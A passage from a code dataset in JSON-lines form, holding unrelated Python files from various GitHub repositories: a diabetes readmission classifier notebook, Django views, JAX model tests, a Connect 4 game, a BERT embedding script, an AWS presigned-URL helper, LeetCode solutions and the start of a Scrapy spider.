figsize=(12,12), title='Race', fontsize=(15), style='fivethirtyeight')\ndf.gender.value_counts().plot(kind='pie', figsize=(12,12), title='Gender', fontsize=(15), style='fivethirtyeight')\ndf.age.value_counts().plot(kind='pie', figsize=(12,12), title='Age', fontsize=(15), style='fivethirtyeight')\n\n\n# In[ ]:\n\n\n#Bar Graphs\n\nave_meds = df[['age', 'num_medications']].groupby('age').mean().sort_values(by='age')\nave_procedures = df[['age', 'num_procedures']].groupby('age').mean().sort_values(by='age')\nave_lab_procedures = df[['age', 'num_lab_procedures']].groupby('age').mean().sort_values(by='age')\nave_time_spent = df[['age', 'time_in_hospital']].groupby('age').mean().sort_values(by='age')\n\nave_meds.num_medications.plot(kind='bar', title=' Average Number of Medications', figsize=(12,9), fontsize=(15), style='fivethirtyeight')\nave_lab_procedures.num_lab_procedures.plot(kind='bar', title='Average Number of Lab Procedures', figsize=(12,9), fontsize=(15), style='fivethirtyeight')\nave_procedures.num_procedures.plot(kind='bar', title='Average Number of Procedures', figsize=(12,9), fontsize=(15), style='fivethirtyeight')\nave_time_spent.time_in_hospital.plot(kind='bar', title='Average Time in Hospital', figsize=(12,9), fontsize=(15), style='fivethirtyeight')\n\n\n# In[108]:\n\n\n#Train-test split\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.15, random_state=1)\n\n\n# In[148]:\n\n\n#Base ML Models\n\nlr = LogisticRegression()\nrf = RandomForestClassifier()\ngdbc = GradientBoostingClassifier()\n\n#Optimized ML Models\n\nlr_1 = LogisticRegression(penalty='l2', tol=0.0001, C=0.01, fit_intercept=True, intercept_scaling=1.0)\nrf_1= RandomForestClassifier(bootstrap=False, max_depth=None, max_features='sqrt', min_samples_leaf=2, min_samples_split=2, n_estimators=80, random_state=1)\ngdbc_1 = GradientBoostingClassifier(learning_rate=0.50, n_estimators=120, random_state=1)\n\n\n# In[ ]:\n\n\n#Classification Report\n\ndef class_report(model):\n model.fit(X_train, y_train)\n prediction = model.predict(X_test)\n return classification_report(y_test, prediction)\n \n#Base models\n\nprint(class_report(lr))\nprint(class_report(rf))\nprint(class_report(gdbc))\n\n#Optimized models\n\nprint(class_report(lr_1))\nprint(class_report(rf_1))\nprint(class_report(gdbc_1))\n\n\n# In[ ]:\n\n\n#Feature importance graphs\n\ndef feat_importance(model): \n model.fit(X_train, y_train)\n feat_scores = pd.DataFrame({'Fraction of Samples Affected' : model.feature_importances_}, index=X.columns)\n feat_scores = feat_scores.sort_values(by='Fraction of Samples Affected')\n return feat_scores[135:].plot(kind='barh', title='Most Important Features', figsize=(12,9), fontsize=(15), style='fivethirtyeight')\n\nprint(feat_importance(rf))\nprint(feat_importance(gdbc))\n\n\n# In[ ]:\n\n\n#Neural Network\n\ndef basic_net(X_train, y_train): \n n_feats = X_train.shape[1]\n\n model = Sequential() # sequence of layers\n\n hidden_units = 155\n n_classes = 2\n\n input_layer = Dense(units=hidden_units,\n input_dim=n_feats,\n kernel_initializer='constant',\n activation='relu')\n\n hidden_layer = Dense(units=n_units,\n kernel_initializer='constant',\n activation='relu')\n\n output_layer = Dense(units=n_classes,\n input_dim=hidden_units,\n kernel_initializer='uniform',\n activation='sigmoid')\n model.add(input_layer)\n model.add(hidden_layer)\n\n model.compile(loss='binary_crossentropy', optimizer=\"adam\", metrics=[\"f1score\"])\n \n return model.fit(X_train[:100], to_categorical(y_train), epochs=10, batch=32)\n\nprint(model.summary())\n\n\n# In[ ]:\n\n\n#Random Forest Trees Vs. Accuracy Graph\n\ndef rf_chart(model):\n num_trees = range(5, 100, 5)\n accuracies = []\n for n in num_trees:\n tot = 0\n for i in range(5):\n model.fit(X_train, y_train)\n tot += rf.score(X_test, y_test)\n accuracies.append(tot / 5)\n fig, ax = plt.subplots()\n ax.plot(num_trees, accuracies)\n ax.set_xlabel(\"Number of Trees\")\n ax.set_ylabel(\"Accuracy\")\n ax.set_title('Accuracy vs Num Trees')\n\n\n# In[ ]:\n\n\n#Grid Search Random Forest\n\ndef grid_search_rf(X_train, y_train):\n random_forest_grid = {'max_depth': [25, 50, None],\n 'max_features': ['sqrt', 'log2', None],\n 'min_samples_split': [2, 4],\n 'min_samples_leaf': [1, 2, 4],\n 'bootstrap': [True, False],\n 'n_estimators': [10, 20, 40, 80, 100],\n 'random_state': [1]}\n\n rf_gridsearch = GridSearchCV(RandomForestClassifier(),\n random_forest_grid,\n n_jobs=-1,\n verbose=True,\n scoring='f1')\n\n rf_gridsearch.fit(X_train, y_train)\n\nprint(\"best parameters:\", rf_gridsearch.best_params_)\n\n\n# In[ ]:\n\n\n#Grid Search Gradient Boost\n\ndef grid_search_gdbc(X_train, y_train):\n gradient_boost_grid = {'max_depth': [2, 4, 6, None],\n 'max_features': ['sqrt', 'log2', None],\n 'min_samples_split': [2, 4],\n 'min_samples_leaf': [1, 2, 4],\n 'n_estimators': [10, 20, 80, 100, 120],\n 'random_state': [1],\n 'learning_rate': [0.01, .1, .5, 1],\n 'subsample': [.25, .5, .75, 1]}\n\n\n gb_gridsearch = GridSearchCV(GradientBoostingClassifier(),\n gradient_boost_grid,\n n_jobs=-1,\n verbose=True,\n scoring='f1')\n gb_gridsearch.fit(X_train, y_train)\n\nprint(\"best parameters:\", gb_gridsearch.best_params_)\n\n\n# In[11]:\n\n\n#ROC Curves\n\ndef plot_roc(X, y, clf_class, plot_name, **kwargs):\n scaler = StandardScaler(with_mean=False)\n X = scaler.fit_transform(X)\n n_splits=5\n kf = KFold(n_splits=n_splits, shuffle=True)\n y_prob = np.zeros((len(y),2))\n mean_tpr = 0.0\n mean_fpr = np.linspace(0, 1, 100)\n all_tpr = []\n for i, (train_index, test_index) in enumerate(kf.split(X)):\n X_train, X_test = X[train_index], X[test_index]\n y_train = y[train_index]\n clf = clf_class(**kwargs)\n clf.fit(X_train,y_train)\n # Predict probabilities, not classes\n y_prob[test_index] = clf.predict_proba(X_test)\n fpr, tpr, thresholds = roc_curve(y[test_index], y_prob[test_index, 1])\n mean_tpr += interp(mean_fpr, fpr, tpr)\n mean_tpr[0] = 0.0\n roc_auc = auc(fpr, tpr)\n plt.plot(fpr, tpr, lw=1, label='ROC fold %d (area = %0.2f)' % (i, roc_auc))\n mean_tpr /= n_splits\n mean_tpr[-1] = 1.0\n mean_auc = auc(mean_fpr, mean_tpr)\n plt.plot(mean_fpr, mean_tpr, 'k--',label='Mean ROC (area = %0.2f)' % mean_auc, lw=2)\n \n plt.plot([0, 1], [0, 1], '--', color=(0.6, 0.6, 0.6), label='Random', figsize=(15,15))\n plt.xlim([-0.05, 1.05])\n plt.ylim([-0.05, 1.05])\n plt.xlabel('False Positive Rate')\n plt.ylabel('True Positive Rate')\n plt.title('Receiver operating characteristic')\n plt.legend(loc=\"lower right\")\n plt.show()\n\n\n# In[ ]:\n\n\nplot_roc(X, y, rf, 'Random_Forest')\nplot_roc(X, y, lr, 'Logistic_Regression')\nplot_roc(X, y, gdbc, 'GradientBoosting')\n\n\n# In[154]:\n\n\n#Plot Confusion Matrix\n\ndef plot_conf_mat(model):\n\n model.fit(X_train, y_train)\n preds = model.predict(X_test)\n cm = confusion_matrix(y_test, preds)\n tn, fp, fn, tp = confusion_matrix(y_test, preds).ravel()\n cm = [[tp,fp],[fn,tn]]\n\n plt.figure(figsize=(12,9))\n ax = sns.heatmap(cm, annot=True, fmt = \"d\", cmap=\"Spectral\")\n\n ax.set_xlabel('ACTUAL LABELS')\n ax.set_ylabel('PREDICTED LABELS') \n ax.set_title('Random Forest Confusion Matrix')\n ax.xaxis.set_ticklabels(['Yes', 'No'])\n ax.yaxis.set_ticklabels(['Yes', 'No'])\n plt.show()\n\n\n# In[ ]:\n\n\nprint(plot_conf_mat(lr))\nprint(plot_conf_mat(rf))\nprint(plot_conf_mat(gdbc))\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"ofprogram/diabetes-hospital-readmissions","sub_path":"Diabetes_Re-hospitalizations.py","file_name":"Diabetes_Re-hospitalizations.py","file_ext":"py","file_size_in_byte":11354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"6091745008","text":"from django.shortcuts import render\nfrom .models import *\nfrom .form import ServicioForm\n\n# Create your views here.\n\n\ndef listarServicios(request):\n servicio = Servicio.objects.all()\n contexto = {'servicios': servicio}\n return render(request, 'lista.html', contexto)\n\n\ndef form_view(request):\n data = {\n 'form': ServicioForm\n }\n if request.method == 'POST':\n form = ServicioForm(request.POST)\n if form.is_valid():\n form.save()\n\n return render(request, 'servicio_form.html', data)\n","repo_name":"arturoturris/Django-Testing","sub_path":"OnePride/PaginaWeb/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12621440424","text":"import os\nimport sys\nimport chex\nimport jax.numpy as jnp\nimport haiku as hk\n\nchex.set_n_cpu_devices(n=4)\n\n\n# Allow relative imports for github workflows\ncurrent_dir = os.path.dirname(os.path.abspath(__file__))\nsource_dir = os.path.abspath(os.path.join(current_dir, \"..\"))\nsys.path.append(source_dir)\n\n\nclass TestModules(chex.TestCase):\n def setUp(self):\n from jaxspec.model.list import (\n model_components,\n additive_components,\n )\n\n self.module_dict = model_components.items()\n self.additive_dict = additive_components.items()\n self.energy = jnp.geomspace(0.1, 100, 50)\n\n @chex.all_variants\n def test_all_continuum(self):\n \"\"\"\n Test to evaluate energies with every component's continuum\n \"\"\"\n\n for name, module in self.module_dict:\n\n @hk.testing.transform_and_run(jax_transform=self.variant)\n def f(inputs):\n return module().continuum(inputs)\n\n out = f(self.energy)\n self.assertEqual(out.shape, self.energy.shape, f\"{name} continuum changes input shape\")\n\n @chex.all_variants\n def test_all_lines(self):\n \"\"\"\n Test to evaluate energies with every component's emission lines\n \"\"\"\n\n for name, module in self.additive_dict:\n\n @hk.testing.transform_and_run(jax_transform=self.variant)\n def f(input_low, input_high):\n return module().emission_lines(input_low, input_high)\n\n out = f(self.energy[0:-1], self.energy[1:])\n self.assertEqual(\n out[0].shape,\n self.energy[0:-1].shape,\n f\"{name} emission_lines change shape with flux\",\n )\n self.assertEqual(\n out[1].shape,\n self.energy[0:-1].shape,\n f\"{name} emission_lines change shape with energies\",\n )\n","repo_name":"renecotyfanboy/jaxspec","sub_path":"tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":1912,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"9363944580","text":"# copy text file.\nwith open('mbox-short.txt', 'r') as rf:\n with open('mbox-write2.txt', 'w') as wf:\n for line in rf:\n wf.write(line)\n\n# copy image file.\nwith open('Screenshot.png', 'rb') as rf:\n with open('Screenshot2.png', 'wb') as wf:\n for line in rf:\n wf.write(line)\n\n# copy video file.\nwith open('demo_video.mp4', 'rb') as rf:\n with open('demo_video2.mp4', 'wb') as wf:\n for line in rf:\n wf.write(line)\n","repo_name":"aiimranh/python4e","sub_path":"Ch 7 - Files/file copy with contact manager.py","file_name":"file copy with contact manager.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"28627588537","text":"#Connect 4\n#To-Do list :-\n# - Make diagnal winning\n# - Make computer AI for single player mode\ngame = [[\" \",\" \",\" \",\" \",\" \",\" \",\" \"],\n [\" \",\" \",\" \",\" \",\" \",\" \",\" \"],\n [\" \",\" \",\" \",\" \",\" \",\" \",\" \"], # 6 up , 7 left\n [\" \",\" \",\" \",\" \",\" \",\" \",\" \"],\n [\" \",\" \",\" \",\" \",\" \",\" \",\" \"],\n [\" \",\" \",\" \",\" \",\" \",\" \",\" \"]]\n\ndef draw():\n for line in game:\n k = \"\"\n for i in line:\n k = k + \"[\" + i + \"]\"\n print(k)\n k = \"\"\n for i in range(1,8):\n k = k + \" \" + str(i) + \" \"\n print(k)\n\ndef intro():\n print(\"Welcome to connect 4, Python Edition\")\n print(\"Same rules as connect 4, but only in python\")\n print(\"\")\n print(\"This is the board you are going to play on\")\n draw()\n print()\n print(\"You have to enter the row you want drop you peg in\")\n print(\"There are two pegs : X , O\")\n print(\"Have fun !\")\n\ndef place(c,peg):\n rowNum = input(\"Enter your row number :\\n\")\n correctNums = [\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\"]\n while rowNum not in correctNums:\n rowNum = input(\"Please enter a valid input:\\n\")\n\n temp = False\n rowNum = int(rowNum) - 1\n for i in range(5,-1,-1):\n if game[i][rowNum] == \" \":\n game[i][rowNum] = peg\n temp = True\n break\n if temp == False:\n c = c -1\n print(\"This row is full, pick another row\")\n return c\n\ndef arrayWinn(array,peg,win):\n for i in array:\n c = 0\n for j in i:\n if j == peg:\n c = c + 1\n else:\n c = 0\n\n if c == 4 :\n win = True\n return win\n\ndef winning(game,peg):\n win = False\n # Horizontal winning\n win = arrayWinn(game,peg,win)\n # Verticle winning\n c = 0\n for i in range(0,7):\n for j in range(0,6):\n if game[j][i] == peg:\n c = c + 1\n else :\n c = 0\n\n if c == 4:\n win = True\n\n win = diagnalWinning(game,peg,win)\n return win\n\ndef diagnalWinning(game,peg,win):\n comb = []\n for i in range(6):\n k = []\n a = 0\n for j in range(i+1):\n b = i - a\n k.append(game[b][j])\n a = a + 1\n comb.append(k)\n\n a = 6\n for i in range(6):\n k = []\n a = a - 1\n c = 6\n for j in range(i+1):\n b = a + j\n k.append(game[b][c])\n c = c - 1\n comb.append(k)\n\n # Other side\n a = 6\n for i in range(6):\n k = []\n a = a - 1\n for j in range(i+1):\n b = a + j\n k.append(game[b][j])\n comb.append(k)\n\n a = 7\n for i in range(6):\n k = []\n a = a - 1\n for j in range(i+1):\n c = a + j\n k.append(game[j][c])\n comb.append(k)\n \n win = arrayWinn(comb,peg,win)\n return win\n\ndef main():\n intro()\n play = False\n c = 0\n while play == False:\n draw()\n c = c + 1\n if c % 2 != 0:\n peg = \"X\"\n else:\n peg = \"O\"\n print(peg,\" Turn\")\n c = place(c,peg)\n win = winning(game,peg)\n if win == True:\n draw()\n play = True\n print(peg,\"WON !\")\n break\n\n\n\n\nmain()\n\n \n \n","repo_name":"aryaman31/Connect4","sub_path":"Connect 4.py","file_name":"Connect 4.py","file_ext":"py","file_size_in_byte":3314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"11482784946","text":"#!/usr/bin/env python\n# _*_ coding:utf-8 _*_\nimport numpy as np\nimport csv, os\nfrom bert_serving.client import BertClient\n\n'''\n将标注数据-学习问题的句子通过bert生成每个句子的embedding向量\n便于在调用的时候可以直接导入\n生成的数据保存在learn_sentences.npy learn_labels.npy\n'''\n\ndef getTestNPYData(data, name):\n X = [[] for i in range(len(data))]\n bc = BertClient()\n for index in range(len(data)):\n vector = bc.encode([data[index]])\n X[index] = vector.tolist()\n if index % 100 == 0:\n print(index, 'is finish')\n train_data = np.array(X)\n Xnpyname = name + '_' + str(len(data)) + '.npy'\n np.save(Xnpyname, train_data)\n print('%s 的数据通过bert embedding 为向量npy格式' % name)\n\n\ndef getLabelTestNPYData(data,name):\n '''生成分类的标签信息'''\n print(len(data))\n if len(data) == 4 and name == 'learn_labels':\n print(len(data[0]), len(data[1]), len(data[2]), len(data[3]))\n label_learn = [0 for i in range(len(data[0]))] +[1 for i in range(len(data[1]))] +[2 for i in range(len(data[2]))] + [3 for i in range(len(data[3]))]\n num = len(data[0]) + len(data[1]) + len(data[2])+ len(data[3])\n np.save(name + '_' + str(num) + '.npy', label_learn)\n print(label_learn)\n print('%s 的标签通过存储为向量npy格式' %name)\n\n# Start Position--->>>>>>>>>\nif __name__ == '__main__':\n csvpath = 'label_text_pro.csv' # 共获得7809条数据\n\n learning_ability = []\n learning_method = []\n learning_attitude = []\n learning_attention = []\n\n if os.path.exists(csvpath):\n with open(csvpath, newline='', encoding='utf-8') as csvfile:\n spamreader = csv.reader(csvfile, delimiter=' ', quotechar='|')\n for row in spamreader:\n # print(row[0].split(',')[0])\n if row[0].split(',')[0] == 'label25':\n learning_ability.append(row[0].split(',')[1])\n if row[0].split(',')[0] == 'label26':\n learning_method.append(row[0].split(',')[1])\n if row[0].split(',')[0] == 'label27':\n learning_attitude.append(row[0].split(',')[1])\n if row[0].split(',')[0] == 'label28':\n learning_attention.append(row[0].split(',')[1])\n\n print(len(learning_ability), learning_ability)\n print(len(learning_method), learning_method)\n print(len(learning_attitude), learning_attitude)\n print(len(learning_attention), learning_attention)\n\n forKNNcompile_learn_sentences = learning_ability[:-1] + learning_method[:-5] + learning_attitude[:-37] + learning_attention[:-7]\n forKNNcompile_learn_label = [learning_ability[:-1], learning_method[:-5], learning_attitude[:-37], learning_attention[:-7]]\n\n getTestNPYData(forKNNcompile_learn_sentences, 'learn_sentences')\n getLabelTestNPYData(forKNNcompile_learn_label, 'learn_labels')","repo_name":"ares5221/Implementation-of-Text-Classification","sub_path":"14label_sentences_Train_MLP_KNN_model/Label_Sentences_MLP/src/data/03getlabelSentencesNPYdata2.py","file_name":"03getlabelSentencesNPYdata2.py","file_ext":"py","file_size_in_byte":2951,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"32"} +{"seq_id":"20565478483","text":"import os\nimport boto3\nimport botocore.exceptions\n\n\nclass AWSAuth:\n def __init__(self, env_path):\n # read access keys and tokens\n for file in [env_path]:\n if os.path.exists(file):\n with open(file) as f:\n for line in f:\n name, var = line.partition(\"=\")[::2]\n os.environ[name] = var.rstrip() # strip trailing newline\n\n def create_presigned_post(self, region_name, bucket_name, object_name, fields=None,\n conditions=None, expiration=100):\n # Generate a presigned S3 POST URL\n ACCESS_KEY = os.environ.get(\"AWS_ACCESS_KEY_ID_SESS\")\n SECRET_KEY = os.environ.get(\"AWS_SECRET_ACCESS_KEY_SESS\")\n SESSION_TOKEN = os.environ.get(\"AWS_SESSION_TOKEN\")\n\n try:\n s3_client = boto3.client(\"s3\",\n region_name=region_name,\n aws_access_key_id=ACCESS_KEY,\n aws_secret_access_key=SECRET_KEY,\n aws_session_token=SESSION_TOKEN)\n\n response = s3_client.generate_presigned_post(Bucket=bucket_name,\n Key=object_name,\n Fields=fields,\n Conditions=conditions,\n ExpiresIn=expiration)\n return response\n except botocore.exceptions.ClientError as error:\n # Put your error handling logic here\n raise ValueError('The parameters you provided are incorrect: {}'.format(error))\n\n except botocore.exceptions.ParamValidationError as error:\n raise ValueError('The parameters you provided are incorrect: {}'.format(error))\n\n except TypeError as e:\n raise ValueError('TypeError: {}'.format(e))\n\n except Exception as e:\n raise ValueError('The parameters you provided are incorrect: {}'.format(e.fmt))\n","repo_name":"ankur6ue/aws_presigned_url","sub_path":"bff_api/utils/aws_auth.py","file_name":"aws_auth.py","file_ext":"py","file_size_in_byte":2115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70638465050","text":"# -*- coding: utf-8 -*-\n\"\"\"\n1711 题目描述:\n大餐 是指 恰好包含两道不同餐品 的一餐,其美味程度之和等于 2 的幂。\n你可以搭配 任意 两道餐品做一顿大餐。\n给你一个整数数组 deliciousness ,其中 deliciousness[i] 是第 i​​​​​​​​​​​​​​ 道餐品的美味程度,返回你可以用数组中的餐品做出的不同 大餐 的数量。\n注意,只要餐品下标不同,就可以认为是不同的餐品,即便它们的美味程度相同。\n\n示例 1:\n输入:deliciousness = [1,3,5,7,9]\n输出:4\n解释:大餐的美味程度组合为 (1,3) 、(1,7) 、(3,5) 和 (7,9) 。\n它们各自的美味程度之和分别为 4 、8 、8 和 16 ,都是 2 的幂。\n\n示例 2:\n输入:deliciousness = [1,1,1,3,3,3,7]\n输出:15\n解释:大餐的美味程度组合为 3 种 (1,1) ,9 种 (1,3) ,和 3 种 (1,7) 。\n\n提示:\n1 <= deliciousness.length <= 10^5\n0 <= deliciousness[i] <= 2^20\n\"\"\"\nimport time\nfrom collections import Counter\n\n\n# 执行时间装饰器\ndef execute_time(func):\n def int_time(*args, **kwargs):\n start_time = time.time() # 程序开始时间\n ret = func(*args, **kwargs)\n total_time = time.time() - start_time\n print('程序耗时%.8f秒' % total_time)\n return ret\n\n return int_time\n\n\nclass Solution:\n @execute_time\n def feasting(self, deliciousness: list) -> int:\n \"\"\" 递归会超时 \"\"\"\n # def power1(self, n):\n # \"\"\" 超时。 判断一个数是否是2的幂 \"\"\"\n # if n == 2 or n == 1:\n # return True\n # if n % 2 == 0:\n # return self.power(n / 2)\n # return False\n\n def power2(self, n):\n \"\"\" 超时。 判断一个数是否是2的幂,2^0 = 1 \"\"\"\n if n > 0:\n return n & (n - 1) == 0\n return False\n\n length = len(deliciousness)\n res_dict = {}\n num = 0\n for i in range(length):\n for j in range(i + 1, length):\n if power2(deliciousness[i] + deliciousness[j]):\n num += 1\n print(num)\n # print(res)\n # return len(res)\n return num\n\n @execute_time\n def countPairs(self, deliciousness: list) -> int:\n \"\"\" 字典方法,时间复杂度O(N) \"\"\"\n # deliciousness.sort()\n # print(deliciousness)\n mod_value = 10 ** 9 + 7\n map_values = Counter(deliciousness)\n print('.....map_values1:', map_values)\n res_list = []\n\n res = 0\n for value1, value1_count in map_values.items():\n for each_power in range(0, 22):\n exp_of_2 = pow(2, each_power) # 2的幂\n value2 = exp_of_2 - value1 # 第2个数 = 2的幂 - 第1个数\n if exp_of_2 == 2 * value1:\n res += value1_count * (value1_count - 1) / 2 % mod_value\n res_list.append((value1, value2))\n else:\n value2_count = map_values.get(value2, None) # 找出第2个数的计数\n if value2_count:\n res += value1_count * value2_count % mod_value\n res_list.append((value1, value2))\n map_values[value1] = 0\n\n print(res_list)\n return int(res)\n\n\nif __name__ == '__main__':\n s = Solution()\n\n arr1 = [1, 3, 5, 7, 9]\n arr2 = [15, 1, 1, 3, 3, 3, 7]\n # arrs = [arr1, arr2, arr3]\n arrs = [arr2]\n\n # for arr in arrs:\n # res = s.feasting(arr)\n # print(res)\n\n print(s.countPairs(arr2))\n\n # map_values = Counter(arr3)\n # print('map_values:', map_values)\n\n print('-- over --')\n","repo_name":"xxo93/algorithm","sub_path":"数组系列/leetcode1711 大餐计数.py","file_name":"leetcode1711 大餐计数.py","file_ext":"py","file_size_in_byte":3725,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"6236841099","text":"from typing import List\n\n\nclass Solution:\n def threeSum(self, nums: List[int]) -> List[List[int]]:\n positive = [i for i in set(nums) if i > 0]\n negative = [i for i in set(nums) if i < 0]\n hash = {}\n for i in nums:\n if i in hash:\n hash[i] += 1\n else:\n hash[i] = 1\n if 0 in hash and hash[0] > 2:\n ans = [[0, 0, 0]]\n else:\n ans = []\n if not (positive and negative) or len(nums) < 3:\n return ans\n for j in negative:\n for i in positive:\n result = -(i + j)\n if result == i and hash[i] > 1:\n ans.append([j, i, i])\n elif result == j and hash[j] > 1:\n ans.append([j, j, i])\n elif result in hash and j < result < i:\n ans.append([j, result, i])\n return ans\n\n\nif __name__ == \"__main__\":\n s = Solution()\n threeSum = s.threeSum\n\n print(threeSum([-1, 0, 1, 2, -1, -4]))\n print(threeSum([0, 0, 0, 0]) == [[0, 0, 0]])\n print(threeSum([]) == [])\n print(threeSum([1, -1]) == [])\n print(threeSum([1, 2, -2, -1]) == [])\n print(threeSum([1, 1, -2]) == [[-2, 1, 1]])\n print(len(threeSum([-4, -2, -2, -2, 0, 1, 2, 2, 2, 3, 3, 4, 4, 6, 6])))\n print(\n threeSum([-1, -2, -3, 4, 1, 3, 0, 3, -2, 1, -2, 2, -1, 1, -5, 4, -3]))\n","repo_name":"leetcode-js/leetcode-js-py-Lizero","sub_path":"medium/015.3sum/3sum2.py","file_name":"3sum2.py","file_ext":"py","file_size_in_byte":1413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7788833819","text":"#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n\r\n# http://blog.csdn.net/haskei/article/details/54908853\r\n\r\ndef h():\r\n print('Wen Chuan')\r\n\t# yield这个表达式是分两次完成的,第一次执行后半段,把5赋值给m2,下次send时才执行前一半,即把后一次send的输入赋值给m1\r\n m1 = yield 5 # 停止并返回value 5,到send命令处,所以赋值给m2为5\r\n print(m1) # m1的值是下一个send函数中包含的值\r\n d1 = yield 12\r\n print('We are together!')\r\nc = h()\r\nm2 = c.send(None) #\r\nd2 = c.send('Fighting!') # 此时将'Fighting!'返回给之前yield断点处,并赋值给m1\r\nprint('We will never forget the date', m2, '.', d2)\r\nc.close()\r\n\r\n\r\ndef f():\r\n print('start')\r\n a = yield 1\r\n print(a)\r\n print('middle....')\r\n b = yield 2 # 2这个值只是迭代值,调用next时候返回的值\r\n print(b) # 传入的参数是给当前yield的,也就是yield 2,因为当前函数走到了yield 2,所以传入的参数没有给yield 1\r\n print('next')\r\n c = yield 3\r\n print(c)\r\n\r\na = f()\r\nnext(a)\r\nnext(a)\r\na.send('msg')\r\na.close()","repo_name":"Shuo-Shi/Python_learning","sub_path":"38_yield.py","file_name":"38_yield.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"39659983497","text":"TB_DIR = \"tensorboard\"\nCHECKPOINT_DIR = \"checkpoints\"\n\nBATCH_SIZE = 16\nWORKERS = 4\nUSE_MULTIPROCESSING = True\n\nBATCH_SIZE = 16\nTRAIN_STEPS = 512\nVALIDATION_STEPS = 64\nEPOCHS = 20\n\nDATA_DIR = \"DREYEVE_DATA\"\nVIDEO_SHAPE=(1080,1920,3)\n\n# ratio of train reserved for validation\nVALIDATION_SPLIT = 0.1\n\n# ratio of all files for train\nTRAIN_SPLIT = 0.8\n\nEPS = 1.19e-07\n","repo_name":"qualiaa/dreyeve","sub_path":"consts.py","file_name":"consts.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"40765734893","text":"import numpy as np\nimport model.logistic_regression.logistic_regression as lr\n\ndef loadData():\n train_file = open(\"../dataset/horseColicTraining.txt\")\n test_file = open(\"../dataset/horseColicTest.txt\")\n train_X, train_y = [], []\n for line in train_file.readlines():\n curLine = line.strip().split('\\t')\n l = []\n for i in range(21):\n l.append(float(curLine[i]))\n train_X.append(l)\n train_y.append(float(curLine[21]))\n\n test_X, test_y = [], []\n for line in test_file.readlines():\n curLine = line.strip().split('\\t')\n l = []\n for i in range(21):\n l.append(float(curLine[i]))\n test_X.append(l)\n test_y.append(float(curLine[21]))\n\n return np.array(train_X), np.array(train_y), np.array(test_X), np.array(test_y)\n\ndef run():\n train_X, train_y, test_X, test_y = loadData()\n classifier = lr.LogisticRegression(0.01, 400, None)\n classifier.fit(train_X, train_y)\n\n error, total = 0, 0\n for i in range(test_X.shape[0]):\n if int(classifier.predict(test_X[i])) != int(test_y[i]):\n error += 1\n total += 1\n\n print(error / total)\n\nif __name__ == \"__main__\":\n run()\n\n","repo_name":"qrs101/My_ML","sub_path":"example/LogisticRegression.py","file_name":"LogisticRegression.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"72293009370","text":"import numpy as np\nfrom .sanitation import is_valid, sanitise\nfrom .codons import get_codon_coordinates\n\ncomplements = {\n \"A\": \"T\",\n \"T\": \"A\",\n \"G\": \"C\",\n \"C\": \"G\",\n \"N\": \"N\",\n}\n\nbases = \"ACGTN\"\nbaseColour = {\n \"G\": np.array((31, 90, 173)) / 255,\n \"C\": np.array((80, 151, 250)) / 255,\n\n \"A\": np.array((173, 59, 45)) / 255,\n \"T\": np.array((250, 134, 120)) / 255,\n\n \"N\": (0.5, 0.5, 0.5),\n}\nbaseToIndexDict = {bases[x]: x for x in range(len(bases))}\n\n\ndef get_nucleotide_colour_sequence(sequence):\n bar_colors = []\n\n for letter in sequence:\n try:\n bar_colors.append(baseColour[letter])\n except Exception:\n # print(letter)\n bar_colors.append(baseColour[\"N\"])\n\n return bar_colors\n\n\ndef base2Index(x):\n return baseToIndexDict[x]\n\n\ndef reverse_complement(sequence: str) -> str:\n \"\"\"\n Returns the reverse complement of a sequence\n :param sequence:\n :return:\n \"\"\"\n\n return reverse(complement(sequence))\n\n\ndef reverse(sequence: str) -> str:\n \"\"\"\n Returns the reverse of a sequence\n :param sequence:\n :return:\n \"\"\"\n\n return sequence[::-1]\n\n\ndef complement(sequence: str) -> str:\n \"\"\"\n Returns the complement of a sequence\n :param sequence:\n :return:\n \"\"\"\n rc_seq = \"\"\n\n for base in sequence:\n rc_seq += complements[base]\n\n return rc_seq\n","repo_name":"Gillingham-Lab/deliqc","sub_path":"deliqc/dna/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"20538605387","text":"import re\nimport json\n\nfrom scrapy.spider import BaseSpider\nfrom scrapy.selector import HtmlXPathSelector\nfrom scrapy.http import Request, HtmlResponse\nfrom scrapy.utils.response import get_base_url\nfrom scrapy.utils.url import urljoin_rfc\n\nfrom getinthemixitem import GetInTheMixMeta\n\nfrom product_spiders.utils import extract_price\n\nfrom product_spiders.items import (\n Product,\n ProductLoaderWithNameStrip as ProductLoader\n)\n\nclass BaseGetInTheMixEBaySpider(BaseSpider):\n allowed_domains = ['stores.ebay.co.uk', 'ebay.co.uk']\n collect_stock = False\n new_products_only = True\n\n def parse(self, response):\n hxs = HtmlXPathSelector(response)\n base_url = 